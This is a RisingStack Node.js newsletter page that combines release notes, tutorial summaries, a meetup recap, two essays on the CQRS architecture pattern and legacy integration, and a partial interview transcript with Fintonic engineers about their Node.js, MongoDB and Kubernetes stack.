Below you can find RisingStack's collection of the most important Node.js news, updates, projects & tutorials from this week:

Node v10.5.0 (Current) Released

Notable Changes:

• crypto:
  • Support for crypto.scrypt() has been added.
• fs:
  • BigInt support has been added to fs.stat and fs.watchFile.
  • APIs that take mode as arguments no longer throw on values larger than 0o777.
  • Fix crashes in closed event watchers.
• Worker Threads:
  • Support for multi-threading has been added behind the --experimental-worker flag in the worker_threads module. This feature is experimental and may receive breaking changes at any time.

How to make beautiful, simple CLI apps with Node

When merging/rebasing, the file that always seems to cause trouble is the package-lock. In this post you’ll go through how to make a simple utility that deletes the package-lock.json file, regenerates it (npm install) and adds it to the git index.

JavaScript Engine V8 release v6.8

The newest branch of the Javascript Engine, V8 version 6.8 was announced. It is in beta until its release in coordination with Chrome 68 Stable.

End-to-end testing Single Page Apps and Node.js APIs with Cucumber.js and Puppeteer

In this article you'll learn how to test Single Page Apps in an end-to-end fashion, using a Behavior-Driven-Development tool called Cucumber.js, and Google’s web browser library Puppeteer.

The minimal Node.js with Babel Setup

This article shows you a common approach of how to create a running minimal Node.js application with Babel. It also provides a good foundation for getting started with JavaScript, building Node.js projects on top of it, or releasing it as node package on npm as open source project.

Deploying Node.js Apps

In this document, you'll learn the exact specifications and behavior of Node.js deployments running on now.

Quickstart: Control a device connected to an IoT hub (Node.js)

In this quickstart, you use a direct method to control a simulated device connected to your IoT hub. You can use direct methods to remotely change the behavior of a device connected to your IoT hub.

Previous Node.js Updates:

In the previous Weekly Node.js Update, we collected great articles, like

• Node.js Updates from June 12;
• Google Cloud announces support for Node.js in App Engine;
• Deploying Node.js on App Engine standard environment;
• AWS SDK for Node.js Best Practices;

& more...

We help you to stay up-to-date with Node.js on a daily basis too. Check out our Node.js news page and its Twitter feed!

The NodeBP meetup took place on the 27th of March at the LogMeIn office space - with over 80 attendees. There were two presentations; one by RisingStack's senior engineer, Peter Czibik, the other by Szabolcs Szabolcsi-Tóth, Senior engineer at IBM.

DevOps & Node.js

Npm has lots of modules for DevOps, like logging, metrics, service discovery. But when you arrive at production-land, you may find that these are already handled by old players. Avoid the same mistakes I did, when my first node service was on its way to the world.

The presentation is available here.

Topics discussed:

• Everything you need to know about metrics, from how do you collect data to how to handle metrics like latency, or resources.
• When should you error report? And what should you report exactly? Szabolcs will also go through some tools you can use with Node.js.
• What is logging and what are the benefits of doing it correctly? Which libraries should you pick for your own business? Szabolcs covers the best practices of logging, with special attention to GDPR, then he mentions tools to select from.
• What are secret storages and what are the benefits of using them? What is considered sensitive data? Where should you keep these sensitive data out of?
• The importance of service discovery, with some examples you can also select from.
• Pros and cons of process supervision, and a tool you can use for it.
• The features of program runners.
• Ways for connecting services.

Check out the photos of the meetup

At RisingStack, we are highly interested in building scalable and resilient software architectures. We know that a lot of our readers share our enthusiasm, and that they want to learn more about the subject too.

To expand our blogging & training initiatives, we decided to launch a new series called Top of the Stack which focuses on architecture design, development trends & best practices for creating scalable applications.

In the third episode of the Top of the Stack Series, we interviewed Kristo Kaiv, the head of architecture at Pipedrive!

During our interview with Kristo Kaiv from Pipedrive, we discussed a wide range of topics. We talked about the languages & databases they use, how they handle monitoring and testing, where their applications are deployed and what scaling problems they experience in their current architecture.

Previously on Top of the Stack

• In the first episode of Top of the Stack, we interviewed Patrick Kua, the CTO of N26, a successful banking startup from Germany which just recently got a series C funding of $160M.

• In the second episode, we interviewed Angel Cereijo & Roberto Ansuini from Fintonic, and discused how they use Node, MongoDB & Kubernetes to scale!

The architecture pattern CQRS suggests an application structure that differs significantly from the approach commonly used in legacy applications. How can the two worlds still be integrated with each other?

The full name of the design pattern CQRS is Command Query Responsibility Segregation. This describes the core of the pattern to separate actions and queries of an application already on an architectural level. While the actions called commands change the state of the application, queries are responsible for reading the state and transferring it to the caller.

As they complement each other well, CQRS is often combined with the concepts DDD (domain-driven design) and event-sourcing. Events play an important role in this context, as they inform about the facts that have happened within the application. To learn about these concepts as well as their interaction, there's a free brochure on DDD, event-sourcing and CQRS written by the native web that you might be interested in.

The consequent separation of commands as actions and events as reactions leads to asynchronous user interfaces, which confront the developer with special challenges. In this context, for example, the question of how to deal with (asynchronous) errors is interesting, if you don't want to make the user wait regularly in the user interface until the event matching the command sent has been received.

Legacy systems rarely work according to CQRS

On the other hand, there are countless legacy applications that are practically always based on architecture patterns other than CQRS. The classic three-layer architecture with CRUD as the method for accessing data is particularly common. However, this often leads to unnecessarily complex, monolithic applications in which CRUD keeps getting cultivated, although it was not sufficient any more after a short period of time already.

Unfortunately, the integration possibilities with such applications are as expected: poor. Even web applications have often been developed without APIs, since no value has been attached to them and the technologies used have promoted the limited field of vision. From today's point of view this seems irresponsible, but over the years and decades this has been an accepted procedure. The sad thing about it is that development towards networked applications and services has been going on for many years, but too many developers and companies have deliberately ignored them.

The price to pay for this are the legacy applications of today, which do not have any APIs and whose integration possibilities are practically non-existent. It can therefore be stated that a modern service-based architecture based on CQRS differs fundamentally from what has been implemented in most cases in the past. In addition, there is the lack of scalability of applications based on a three-tier architecture.

Developing in the greenfield

Unfortunately, legacy applications don't just disappear into thin air, which is why in many cases you have to live with them and make arrangements. The only exception to this is greenfield development, in which an application is completely redeveloped from scratch, without having to take legacy sites into account. However, this strategy is dangerous, as the well-known entrepreneur Joel Spolsky describes in his extremely worth reading blog entry Things You Should Never Do, Part I.

In the actual case of a greenfield development, the question arises at best about the suitability or necessity of CQRS. A guide to this can be found at When to use CQRS?!. It is also necessary to clarify whether CQRS can be usefully supplemented with domain-driven design and event sourcing. At this point, however, the simple part ends already, because the scenario of a greenfield development is always simple – precisely because there are no dependencies in the past.

Already the simple case of the complete replacement of an existing system by a new development raises complicated questions when the new application is based on CQRS. In practice, the separation of commands and queries in CQRS often leads to a physical separation of the write and read sides, which corresponds to the use of two databases. While one contains normalized data and serves the purpose of ensuring consistency and integrity when writing, the other contains data that is optimized for reading, i.e. denormalized data.

If you want to replace an existing application, you have to think about how to migrate the legacy data. It is obvious that this is not easy when switching from a CRUD-based, classic, relational database to two databases, each fulfilling a specific task. It is therefore necessary to analyze the existing data in detail, structure it and then decide how it can be mapped to the new databases without having to compromise on CQRS.

The database as an integration point

However, it becomes really difficult when the old and the new application have to coexist in parallel and have to be integrated with each other because, for example, a replacement is only to take place gradually. Another reason for the scenario is the addition of another application to an existing application without the need to replace it at all. How can CQRS be integrated with legacy applications in these cases?

One obvious option is integration via the database. This can work for applications based on the classic CRUD model, but is inconvenient for CQRS, because the problem of different data storage is also relevant here. In this case, however, the comparison is even more difficult, since not only the existing semantics must be mapped to a new one, but the new one must also continue to work for the existing application.

In addition, there are general concerns that need to be mentioned independently of the architecture of the applications. This includes in particular side-effects regarding the referential integrity, which can quickly trigger a boomerang effect. In addition, the applications are actually only seemingly decoupled from each other, as the effects of future changes to the data schema are intensified. Another point that makes integration via the database more difficult is the lack of documentation of the extensive and complex schemata.

Moreover, since the database was rarely planned as an integration point, direct access to it usually feels wrong. After all, the user avoids all domain concepts, tests and procedures that are implemented in the application and are only available in the database as implicit knowledge. The procedure is therefore to be regarded as extremely fragile, particularly from a domain point of view.

Another point of criticism about an integration via the database is the lack of possibilities for applications to actively inform each other about domain events. This could only be solved with a pull procedure, but this can generally be regarded as a bad idea due to the poor performance and the high network load. In summary, it becomes clear that the integration of a CQRS application with a legacy application via the database is not a viable way.

APIs instead of databases

An alternative is integration via an API. As already explained, it can be assumed that very few legacy applications have a suitable interface. However, this does not apply to the new development. Here it is advisable to have an API from the beginning – anything else would be grossly negligent in the 21st century. Typically, such an API is provided as a REST interface based on HTTPS or HTTP/2. Pure, i.e. unencrypted HTTP, can be regarded as outdated for a new development.

If you add concerns such as OpenID Connect to such a Web API, authentication is also easy. This also provides an interface based on an open, standardized and platform-independent protocol. This simplifies the choice of technology, since the chosen technology only has to work for the respective context and no longer represents a systemic size.

With the help of such an API, commands can be easily sent to the CQRS application. Executing queries is also easy. The two operations correspond to HTTP requests based on the verbs POST and GET. The situation is much more difficult if, in addition to commands and queries, events also need to be supported. The HTTP API is then required to transmit push messages, but the HTTP protocol was never designed for this purpose. As a way out, there are several variants, but none of which works completely satisfactorily.

How to model an API for CQRS?

There are countless ways to model the API of a CQRS application. For this reason, some best practices that can be used as a guide are helpful. In the simplest case, an API with three endpoints that are responsible for commands, events and queries is sufficient.

The npm module tailwind provides a basic framework for applications based on CQRS. The approach used there can easily be applied to technologies other than Node.js, so that a cross-technology, compatible standard can be created.

For commands there is the POST route /command, which is only intended for receiving a command. Therefore, it acknowledges receipt with the HTTP status code 200, but this does not indicate whether the command could be processed successfully or not. It just arrived. The format of a command is described by the npm module commands-events.

A command has a name and always refers to an aggregate in a given context. For example, to perform a ping, the command could be called ping and refer to the aggregate node in the context network. In addition, each command has an ID and the actual user data stored in the data block. The user property is used to append a JWT token to enable authentication at command level. Metadata such as a timestamp, a correlation ID and a causation ID complete the format:

{
  "context": {
    "name": "network"
  },
  "aggregate": {
    "name": "node",
    "id": "85932442-bf87-472d-8b5a-b0eac3aa8be9"
  },
  "name": "ping",
  "id": "4784bce1-4b7b-45a0-87e4-3058303194e6",
  "data": {
    "ttl": 10000
  },
  "custom": {},
  "user": null,
  "metadata": {
    "timestamp": 1421260133331,
    "correlationId": "4784bce1-4b7b-45a0-87e4-3058303194e6",
    "causationId": "4784bce1-4b7b-45a0-87e4-3058303194e6"
  }
}

The route /read/:modelType/:modelName is used to execute queries, and it is also addressed via POST. The name of the resource to be queried and its type must be specified as parameters. For example, to get a list of all nodes from the previous example, the type would be list and the name would be nodes. The answer is obtained as a stream, with the answer in ndjson format. This is a text format in which each line represents an independent JSON object, which is why it can be easily parsed even during streaming.

Finally, the route /events is available for events, which must also be called via POST. The call can be given a filter, so that the server does not send all events. The ndjson format is also used here – in contrast to executing queries, the connection remains permanently open so that the server can transfer new events to the client at any time. The format of the events is similar to that of the commands and is also described by the module commands-events.

All these routes are bundled under the endpoint /v1 to have some versioning for the API. If you want to use websockets instead of HTTPS, the procedure works in a very similar way. In this case, too, the module tailwind describes how the websocket messages should be structured.

Selecting a transport channel

To transfer push data, the most sustainable approach is still long polling, but it is admittedly quite dusty. The concept of server-sent events (SSE) introduced with HTML5 solves the problem elegantly at first glance, but unfortunately there is no possibility to transfer certain HTTP headers, which makes token-based authentication hard if not impossible. In turn, JSON streaming works fine in theory and solves the problems mentioned above, but fails because today's browsers do not handle real streaming, which, depending on the number of events, gradually leads to a shortage of available memory. The streams API promised for this purpose has been under development for years, and there is no end in sight.

Often, websockets are mentioned as an alternative, but they are only supported by newer platforms. Since this case is explicitly about integration with legacy applications, it is questionable to what extent they support the technology. Provided that the retrieval is carried out exclusively on the server side and a platform with good streaming options is available, JSON streaming is probably the best choice at present.

Irrespective of the type of transport chosen, the basic problem remains that access to the CQRS-based application can only be granted from the legacy application, since no API is available for the other way around. But even if you ignore this disadvantage, there are other factors that make the approach questionable: fragile connections that can only be established and maintained temporarily may cause data to be lost during offline phases. To prevent this, applications need a concept for handling offline situations gracefully. This, in turn, is unlikely to be expected in legacy applications.

A message queue as a solution?

Another option is to use a message queue, which is a common procedure for integrating different services and applications. Usually, it is mentioned as a disadvantage that the message queue would increase the complexity of the infrastructure by adding an additional component. In the present context, however, this argument only applies in exceptional cases, since CQRS-based applications are usually developed as scalable distributed systems that use a message queue anyway.

There are different protocols for message queues. For the integration of applications, AMQP (Advanced Message Queueing Protocol) is probably the most common solution, supported by RabbitMQ and others. As this is an open standard, there is a high probability of finding an appropriate implementation for almost any desired platform.

A big advantage of message queues is that the exchange of messages works bidirectionally. If an application can establish a connection, it can use the message queue as a sender and receiver, so that not only the legacy application can send messages to the new application, but also vice versa. Another advantage is that message queues are usually designed for high availability and unstable connections. They therefore take care of the repetition of a failed delivery and guarantee it to a certain extent.

From a purely technical point of view, message queues can therefore be regarded as the optimal procedure that solves all problems. However, this does not apply from a domain point of view, because this is where the real problems begin, which are completely independent of the underlying transport mechanism. Since two applications are to be integrated with each other, it is also necessary to integrate different data formats and, above all, different domain languages. For example, the legacy application can work with numeric IDs, while the CQRS application can work with UUIDs, which requires bidirectional mapping at the border between the systems.

Mapping contexts between applications

In the linguistic field, this can be particularly difficult if domain concepts are not only given different names, but are even cut differently. Finding a common language is already difficult in a small interdisciplinary team – how much more difficult is it if the modeling of the two languages takes place independently in different teams, separated by several years or decades? The real challenge is to coordinate the semantics of the two applications and to develop semantically suitable adapters.

This is done using context mapping, i. e. mapping one language to another at the border between two systems. Since the two systems are separate applications in this case, it makes sense to implement context mapping in adapters as independent processes between the applications. The use of a message queue then plays out its advantages, since neither the two applications nor the adapter need to know each other. It is sufficient if each of the three components involved has access to the message queue to be able to send and receive messages.

In simple cases, an adapter is nothing more than a process that responds to incoming messages by translating the attached data into the target domain language and sending a new message, in accordance with the if-this-then-that concept. In the case of long-lasting, stateful workflows, however, this procedure is not enough, since the decision which message to send can no longer be made on the basis of the incoming message alone. In addition, the history is also required, for example, to be able to place the received message in a context.

In this case, it is advisable to implement an adapter as a state machine, whereby the incoming messages are the triggers for different state transitions. However, this means that the adapter also has a persistence option and must be designed for high availability. When modeling states and transitions, complexity increases rapidly if all potential variants are considered.

In order to keep the complexity of the adapters manageable, it is advisable to initially only consider the regular case that the workflow is processed successfully and only recognize error states – without having to process them automatically. In the simplest case, it may be sufficient to send a message to an expert who can then take care of the state of the workflow by hand. It is always helpful to keep in mind that context mapping in other parts is a domain problem and not a technical problem, which should therefore be solved professionally.

Who knows the truth?

Finally, the question of who knows the ultimate truth and has the last word in case of doubt is a fundamental question. Do the data and processes of the existing application have priority, or is the CQRS application granted the sovereignty over the truth? If the CQRS application works with event-sourcing, it is advisable to give preference to it, since event-sourcing enables extremely flexible handling of the data, which is far superior to the existing CRUD approach.

However, it is not possible to answer the question in general terms, since this ultimately depends on the individual situation. In any case, however, it is important to consider the question of conflict resolution and to clarify how to deal with contradictions in data and processes. But that too, however, is a technical and not a technical problem.

In summary, message queues and APIs are the only way to integrate legacy and CQRS applications in a clean way. The major challenges are not so much technical, but rather domain issues in nature and can hardly be solved sustainably without the advice of the respective experts. The long time since the development of the legacy application may be aggravating. Hope can be given at this point that professionalism may be less subject to change than the technology used, although this depends very much on the domain in question.

The formerly exotic architectural pattern CQRS is becoming increasingly suitable for the masses. However, too many developers still know the approach only from hearsay, and can hardly estimate whether it is worth the effort.

Until a few years ago, when searching for CQRS, one was asked by Google whether one might have meant the search term cars. In the course of time, this has developed into a joke that developers familiar with CQRS actually pronounce the acronym CQRS like cars. But what is CQRS anyway?

One of the simplest and most frequently cited explanations is that CQRS is in principle the same as the design pattern CQS, applied to the architectural level of an application. This comparison is quite correct, but for someone who is not yet familiar with CQRS, it is difficult to understand and therefore hardly helpful.

The fundamental question must therefore first of all be what the design pattern CQS actually is. Bertrand Meyer's approach separates the methods of objects into two categories: Commands and queries. This is where the name comes from, because CQS stands for Command Query Separation.

Commands and queries

A command is a method that either changes the state of an object, has side-effects, or fulfills both criteria at the same time. However, a command deliberately does not return a return value, which is why it cannot return any information about the state of an object.

A query, on the other hand, is a method that returns information about the state of an object, but must not influence this state or have any other side effects.

According to CQS, you should be able to classify each method of an object in exactly one of the categories. Methods that change the state and have side-effects, and at the same time return information about the state, should therefore be avoided.

At first glance, meeting the requirement seems trivial. Considering classic get and set methods, it is clear that some are queries and others are commands. However, the practice knows more advanced methods that can no longer be assigned so easily.

For example, a method that saves a file and at the same time returns the number of bytes written would be questionable. Saving the file is a side effect, so it is a command. However, since it also returns the number of bytes written, this is also a query. How can this case be dealt with if the CQS principle is to be observed?

An interesting approach is suggested by Yegor Bugayenko in his book Elegant Objects: Instead of creating the method as outlined above, you should reduce it to a query that returns a dedicated object representing a one-time save:

// Query
const saver = file.getSaver();

// Command
saver.save();

// Query
const bytesWritten = saver.getBytesWritten();

This new object then has the actual method save, which is now a command, and the method getBytesWritten as query. In this way, the duality of the original method can be resolved into two separate methods as a command and query.

The reason why the procedure works in the described way is the separation of writing and reading, even in a process that supposedly does both at the same time.

Separating writing and reading

The CQRS design pattern raises the idea of separating writing and reading data from object to system level. This means, for example, that an application has not only one but two APIs to address it: While one API is used for writing data, the other is used for reading.

The separation does not necessarily have to be technical, but at least it should be thoughtfully planned. At first glance, this seems absurd and looks like unnecessary effort. In fact, however, the approach does offer some serious advantages.

A typical problem for applications that are subject to a high load is, for example, normalizing the database. For writing, a strictly normalized database is advantageous because writing operations can be carried out quickly and consistency guaranteed. At the same time, however, this brings with it massive reading problems, because a highly normalized database cannot be read out easily. Instead, it usually requires the use of numerous JOIN statements, which slow down reading dramatically.

On the other hand, if the database is optimized for the most efficient reading, a completely denormalized system should be aimed for. In this case, a single SELECT statement is sufficient for each read access, but writing becomes extremely time-consuming. The scenario also makes it extremely difficult and error-prone to guarantee consistency.

If, on the other hand, CQRS is used and the two aspects are separated on an architectural level, the problems go away. Then it is possible to work with two databases, one of which is normalized and responsible for writing, the other one denormalized and responsible for reading. This way, both writing and reading processes can be done optimally and with the best possible performance.

Thesis 1: CQRS is suitable for systems in which the number of writing and reading accesses differs greatly.

In addition, the separate scaling of an application's read/write side enables the application to be scaled in a way that it can be optimally adapted to the load of the respective situation as required.

Thesis 2: CQRS is suitable for systems whose read and write sides should be scaled individually.

Eventual consistent

However, this procedure means that the two databases must be synchronized. This in turn raises the question of the guarantees under which this is done. In particular, if the separation of writing and reading actually takes place with the help of physically different databases, it becomes clear that distributed transactions are probably not a very suitable means.

Therefore, in CQRS-based systems, the guaranteed consistency between the read and write sides is often given up in favor of availability: In case of doubt, it is better to get a response from the system, even if it may be slightly outdated, than none at all.

Of course, this does not apply to all scenarios. It is obvious that the approach is not appropriate, for example, for systems that affect people's lives or health: guaranteed consistency is probably desirable in the case of an eye laser, surgical intervention or the control of a nuclear power plant.

However, many other cases do well with a soft consistency. Real life also works in many places with this so-called eventual consisteny, i.e. an occasional consistency: Whoever orders a drink in a café usually receives the goods before they have to be paid for. This means that there is no transaction, which is why consistency from the café's point of view is not guaranteed in the meantime.

Thesis 3: CQRS is suitable for systems where availability is more important than consistency and eventual consistency is not an exclusion criterion.

Asynchronous UIs

Considering the approach to be complete, this means that commands sent to the application do not return anything – completely in accordance with the CQS principle, which stipulates that commands change the state and have side-effects, but that they cannot return information about the internal state. But what do you do with the results of the commands that do necessarily exist?

Of course, the user interface can use a query to check regularly whether a result exists, but such a pull-based procedure is cumbersome and time-consuming. It would be better to have a push notification, which will be delivered automatically as soon as a command is processed. Exactly this is solved with the help of so-called events, which represent a reaction to a command.

Thesis 4: CQRS is suitable for systems that work with commands and (asynchronous) events to map the interaction with the user.

For the user interface, this means that a command is first sent away in a fire-and-forget style and then the UI waits for the associated event. It is questionable whether or not you want to prevent the user from performing other tasks during this time. If you allow the user to wait, this results in a consistent state of the UI, but his nerves are often unnecessarily strained.

Therefore, assuming that most of the commands are processed successfully anyway, you can let the UI work asynchronously: As soon as a command is delivered to the backend, only the receipt is acknowledged. The user can then continue working and even navigate to other parts of the application if necessary. The result of the command is then displayed asynchronously at a later time, if this is still relevant. This is often only relevant in the event of an error.

Thesis 5: CQRS is suitable for systems whose graphical user interface can or should work asynchronously.

Another option to quickly give feedback to the user is to falsify the application's response in the graphical user interface, i.e. display the probable response directly. This is the way most online shops work, for example, which initially confirm receipt of the order and claim that it is now being processed and delivered. In fact, processing often only starts at a later point in time, which the customer only learns in the event of an error, for example, if the desired article is no longer in stock.

Collecting events

Although events are not the original concept of CQRS, they are an excellent counterpart to commands. Therefore, it is advisable to collect these events in a database and use them as a starting point for changing the status. The principle is called event sourcing.

Thesis 6: CQRS is suitable for systems with a persistence layer based on event sourcing.

This does not store the current state of the application, but the individual events that have led to the current state. The current status can then be restored at any later point in time via a replay. A database that stores such events and is optimized for the execution of replays is called event store.

The read database can also be filled from these events by semantically interpreting the individual events and mapping them to classic CRUD statements. Since the events contain domain semantics, they can be interpreted differently as required, so that different read tables can be generated from the same raw data.

Since the events do not describe the current status, but the way to get there, this can be done afterwards, for example, to answer questions that have arisen only in the course of time: Provided that the semantics contained in the events permit the corresponding evaluation, this is possible without any problems.

In addition, CQRS can also be perfectly combined with DDD (domain-driven design) as the command- and event-oriented approach fits in well with the concept that puts domain-oriented events at the forefront of software modeling. Of course, CQRS can also be used without event sourcing or DDD, just as these concepts work without CQRS. However, there is no denying that the three concepts complement each other very well.

Thesis 7: CQRS is suitable for systems that use DDD to model the underlying domain.

What about CRUD?

Occasionally, CQRS is also mentioned in connection with CRUD, but usually not as a suitable supplement, but as a contrast. Theoretically, the two approaches do not exclude each other, but in practice there is hardly any benefit from their combination: Since CQRS requires the separation of writing and reading, one acts with two databases or at least with two database schemas, which have to be synchronized as already mentioned.

This is extremely difficult with pure CRUD, as with CRUD there is no semantics for updating the read side. As described above, these can be obtained via domain events, which can then be used both as feedback to the user interface and as data for the event store.

Nevertheless, there are numerous applications where pure CRUD is completely legitimate. This is the case, for example, if an application ultimately only does forms over data, i.e. does not contain any complex domain logic, but merely provides masks with which the raw data from the database can be edited.

Thesis 8: CQRS is suitable for systems whose domain logic is too complex for pure CRUD.

Summary

CQRS is an exciting architectural approach that demands an unusual handling of data. The separation of writing and reading might be familiar to the fewest developers, but makes sense in terms of scalability, modern asynchronous user interfaces, and the proximity to event sourcing and DDD.

Nevertheless, CQRS is not the magic silver bullet that solves all problems. CQRS is particularly not suitable for small applications that do not require a high degree of scalability and that do not have complex domain logic, and for applications that have a direct impact on life or health, CQRS is not or only to a very limited extent suitable. Other approaches may be preferable here.

However, CQRS is ideal for most web and cloud applications: here, scalability is often an essential requirement for the software. In addition, much more is usually read than written, which speaks for the individual scalability of both sides. If you add event sourcing and DDD to CQRS, you have an excellent basis for the development of modern web and cloud applications.

At RisingStack, we are highly interested in building scalable and resilient software architectures. We know that a lot of our readers share our enthusiasm, and that they want to learn more about the subject too.

To expand our blogging & training initiatives, we decided to launch a new series called Top of the Stack which focuses on architecture design, development trends & best practices for creating scalable applications.

In the first episode of Top of the Stack, we interviewed Patrick Kua, the CTO of N26, a successful banking startup from Germany.

In the second episode, we interviewed Angel Cereijo & Roberto Ansuini from Fintonic!

During our ~30 mins long conversation we discussed a wide range of topics, including the reasons behind going with Node.js, tests they run to ensure quality, the process of migrating to Kubernetes, and the way issues are handled in their architcture.

The conversation is available in a written format - no audio this time. For the transcript, move on!

To help you navigate a little, we list the topics we cover with the anchors you can use:

• How did you join Fintonic?
• What are the main languages you use?
• Why Node.js?
• Do you have any shared infrastructural code between your services?
• What database do you operate with?
• What kind of communication protocols do you use between services?
• Do you use maybe messaging queues?
• How do you handle testing?
• Do you use any specific CI tools?
• Where do you deploy applications?
• Setting up Kubernetes on AWS
• Did you face any scaling problems in your architecture?
• What do you base the versioning of your containers on?
• How do you ensure the reliability of your product?
• How do you handle errors?
• How do you monitor your infrastructure?
• Have you considered using a distributed tracing a platform?
• What technologies are you looking forward to in 2018?

Fintonic Interview Transcript

Welcome everybody on the second episode of the Top of the Stack Podcast, where we are talking about services and infrastructures that developers build. I am Csaba Balogh your host, sitting with our co-host, Tamas Kadlecsik CEO of RisingStack.

Today we are are going to talk about the architecture of Fintonic - a successful Spanish startup. Fintonic is a personal finance management app, which helps users by sending them overviews and alerts about their expenses.

Fintonic is currently available in Spain a Chile and has more than 450.000 users at this point. Our guest today are Angel Cereijo - Node.js Engineering Lead and Roberto Ansuini Chief Software Architect at Fintonic.

It's a pleasure to have you here Angel and Roberto! Can you guys please tell us more about how you became a part of Fintonic and how you started out there?

Roberto: Yes, well, this is Roberto, I started at Fintonic in October 2011 as the Development Director during the early stages of the project. We developed the base architecture for the PFM (Personal Finance Management) system, which is the core of our platform. So we had our provider, and we wanted to test what could we do with the information we obtained using the framework of our provider.

The first stages of the project were mainly the development of the aggregation and classification of financial data. Given this, we presented summarized information on our user expenses and developed an alerting system around it. We started with a very small team, in the first few weeks, it was 2 people, me and my tech lead and then we had 2 more people, one back-end developer and one front-end developer. We started with only the web application, and later on, we added the iOS and the Android application.

RisingStack: What are the main languages you use for developing the project?

Roberto: When Fintonic was launched, we started mainly with Java and the Spring framework, and later on, we started adding more features and developing the loan service where we gave users the possibility to quote a loan, a consumer loan. To do so, we partnered with a fintech named Wanna (it’s a consumer loan fintech) to integrate their products into our platform. During this time we developed the first iteration of what we called the Fintonic Integration API (finia) developed in Node.js by my teammate Angel Cereijo.

RisingStack: What made you decide to use Node.js instead of Java?

Roberto: The reason to choose Node.js for this part of our platform was because of the nature of the Integration API. It proxied and added some business logic to our partners. The deadline was very tight and Node.js allowed us to have a running MVP in a very short timeframe.

RisingStack: So basically, right now you exclusively use Node.js on the backend, right?

Roberto: We are using Node.js mainly as the core technology for what we call our Marketplace of financial products (loans, insurances, etc.)

RisingStack: Then, any other logic or infrastructural parts like payments or so are implemented in Java right now, right?

Roberto: Yes, Java is totally for the PFM (Personal Finance Management System), that is the aggregation service, the alerting, and the core functionality of Fintonic. What we are building around the core application of Fintonic is the so-called marketplace of Fintonic. This marketplace is for every product, let's say, loans, insurances, or credit cards, debit accounts, etc.. Everything that we'll include in here is probably going to be in Node.js.

RisingStack: I see. Do you have any shared infrastructural code between your services?

Roberto: We have some parts in Java, yes. We have main libraries for this. And we also have an automation infrastructure with Chef, and we’re doing some Ansible now where we automate the configuration of the infrastructure.

Angel: We have Sinopia or npm private repository, and we have a lot of custom packages. Some of them are just a layer of another package, and the rest of them are codes shared between the projects. We have around twenty-something custom modules.

RisingStack: About databases: What database do you operate with?

Angel: For Node.js we use MongoDB. Fintonic has been using MongoDB since it began. And for us in the Node.js part, it fits quite well. Sometimes we use Mongoose and other times we just make queries and something like that.

RisingStack: Do you use managed MongoDB or do you host it yourself?

Roberto: We have own-hosted MongoDB cluster, but we are evaluating the enterprise edition or maybe Atlas or some other cluster. So far we have maintained our own clusters on Amazon.

RisingStack: Have you had any difficulties when maintaining your cluster?

Roberto: Oh, we have learned a lot over the years, we had our pitfalls. MongoDB has improved a lot since we started using it. So far it's been kind to us, except for little issues, but it's okay.

RisingStack: Can you tell us what kind of communication protocols do you use between your services?

Roberto: It's mainly HTTP REST. We tried Apache Thrift, but now we are mainly on HTTP REST.

RisingStack: I see and what were the problems with it (Thrift)?

Roberto: Ah because on the Java side we want to start using some more features that bring the Netflix Oss, that comes with the SpringCloud, so they are more suitable for HTTP REST protocols. We have a lot of services that have big latencies, and these kind of services with strong latencies are not a good fit for Thrift.

RisingStack: Do you use maybe messaging queues between your services, or only HTTP?

Roberto: We also have a RabbitMQ with AMQP protocol to communicate between services. It's mostly for load balancing, for having control of the throughput of services and scaling workers, so yes. We have a lot of use cases right now with Rabbitmq.

RisingStack: When we built Trace at RisingStack, we'd quite often seen problems with it when it had to handle a lot of messages or maybe even store a lot of messages. So when workers ran fast enough to process the messages, and it had to write to disc, it quite often went down altogether. Have you met any problems like that or any other?

Roberto: No, no.

RisingStack: At RisingStack, our guys take testing a code very seriously and deploy only after running tests multiple times so it would be great if you could share with us how you handle testing and what kind of tests do you have in place right now.

Angel: Okay. In the Node.js part we have, I think, 90% of our code covered. We unit test our code. We run testing on the local machine and then we make a push on GitLab. And we run all the test code and also check the code style with some rules we have. So we take it very seriously. Right now we use Mocha and Chai for testing. In the front end, we have a very high-coverage, around 90%, I’d say.

RisingStack: Do you have any other kind of tests, like integration tests in-between, or smoke tests?

Angel: We use some mocked servers to test contracts, but we also have Staging environments where we test all of the services in an end-to-end manner.

RisingStack: I am not sure I understand it correctly. When you say that you test everything together, we are talking about end-to-end tests here, right?

Roberto: Yes. We have several stages.

The first one is the unit tests stage where we have this coverage we were talking about before. Then we have some tests that perform some kind of integration with other APIs. They are automated with our GitLab environment. And then, in the front-end side - as most of our applications are used on the Android and iOS applications the test are covered there. So they have some interface tests, which they used to test against our pre-production development environments.

And for frameworks, well, we don't use that much end-to-end testing. It's mostly manual testing right now, and we want to start doing some mobile testing maybe with some tools like the device Swarm or something like that, but it's not yet done.

RisingStack: Let's assume you have, say, 2 services that depend on each other. So you want to test the integration between them - the service boundary. But the downstream service also depends on another one, and so forth and so forth. So, how do you handle these cases? Do you make sure that only the 2 services in question are tested, and you mock the downstream dependencies somehow? Or do you run integration tests on full dependency trees?

Angel: We are not very mature yet.

When we have to call another service, we mock the dependency, because it’s quite tricky to start several services and run tests on them. I think we have to study more and consider how we can implement other kinds of tests.

Roberto: On the Java side we are doing some WireMocks and some mock testing, but we have to mature in that.

Angel: In the Node.js side we have a library dependency, I think it's called Nock. (This library is used to create a mock call to services to make sure we are respecting contracts between services.) We call some endpoints with some parameter and some headers, and we can say what the response we want to get (body, HTTP code, headers) is.

RisingStack: Do you use any specific CI tools?

Roberto: Yes, we started with Jenkins, but right now we have migrated by the end of 2017, we migrated our pipelines to GitLab CI, it's very cool, and we are happy with it. And we are doing right now, CI and CD delivery. We are building and deploying our containers in the staging environment, and we are releasing them in a container registry so we can use it locally or in any environment. That one is working quite well, we are very happy with it.

RisingStack: Can you tell us where your application is deployed?

Roberto: Right now we are using AWS. We are in Spain and also we’re in Chile. We have 2 environments for this. The one in Spain is based on EC2 instances, where we have our applications deployed with Docker. So we have our autoscaling groups, and we have load balancers and stuff. In Chile, we are testing out what we want to be our new platform which is on Docker and Kubernetes. So we just finished that project by the end of 2017. And we’re monitoring it, so we can bring it to Spain, which is a much larger platform.

RisingStack: Can you tell us a little bit about how easy or difficult was it to set up Kubernetes on AWS?

Roberto: Actually, it was quite easy. We're using Kops. It was quite straightforward. They did a great job with developing this script. We had to figure it out, do some learning, figure out the network protocol, how to control the ingresses... It was tricky at the beginning, but once you did it a couple of times, it's easy.

RisingStack: I see. Maybe it would be interesting to our listeners - how much time did it approximately take to set up Kubernetes?

